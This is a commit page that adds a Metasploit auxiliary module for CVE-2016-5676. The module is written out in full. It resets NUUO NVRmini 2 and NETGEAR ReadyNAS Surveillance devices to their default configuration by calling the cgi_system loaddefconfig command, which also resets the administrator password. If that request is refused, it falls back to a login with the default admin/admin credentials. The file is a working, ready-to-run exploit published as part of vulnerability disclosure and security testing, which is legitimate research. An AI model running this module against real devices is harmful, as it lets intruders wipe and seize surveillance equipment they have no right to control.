Skip to content

Commit ec67db0

Browse files
author
Pedro Ribeiro
committed
add exploit for CVE 2016-5676
1 parent cf95c9f commit ec67db0

File tree

1 file changed

+85
-0
lines changed

1 file changed

+85
-0
lines changed
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
17+
'Description' => %q{
18+
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
19+
to an administrator password reset on the exposed web management interface.
20+
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
21+
(before v1.7.6), otherwise you need an administrative user password.
22+
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
23+
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
24+
in those devices.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2016-5676'],
34+
['US-CERT-VU', '856152'],
35+
['URL', 'TODO_GITHUB_URL'],
36+
['URL', 'TODO_FULLDISC_URL']
37+
],
38+
'DefaultTarget' => 0,
39+
'DisclosureDate' => 'Aug 4 2016'))
40+
41+
register_options(
42+
[
43+
Opt::RPORT(8081),
44+
OptString.new('TARGETURI', [true, "Application path", '/']),
45+
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
46+
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
47+
], self.class)
48+
end
49+
50+
51+
def run
52+
res = send_request_cgi({
53+
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
54+
'vars_get' => { 'cmd' => "loaddefconfig" }
55+
})
56+
57+
if res && res.code == 401
58+
res = send_request_cgi({
59+
'method' => 'POST',
60+
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
61+
'vars_post' => {
62+
'user' => datastore['USERNAME'],
63+
'pass' => datastore['PASSWORD'],
64+
'submit' => "Login"
65+
}
66+
})
67+
if res && (res.code == 200 || res.code == 302)
68+
cookie = res.get_cookies
69+
else
70+
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
71+
end
72+
res = send_request_cgi({
73+
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
74+
'cookie' => cookie,
75+
'vars_get' => { 'cmd' => "loaddefconfig" }
76+
})
77+
end
78+
79+
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
80+
print_good("#{peer} - Device has been reset to the default configuration.")
81+
else
82+
print_error("#{peer} - Failed to reset device.")
83+
end
84+
end
85+
end

0 commit comments

Comments
 (0)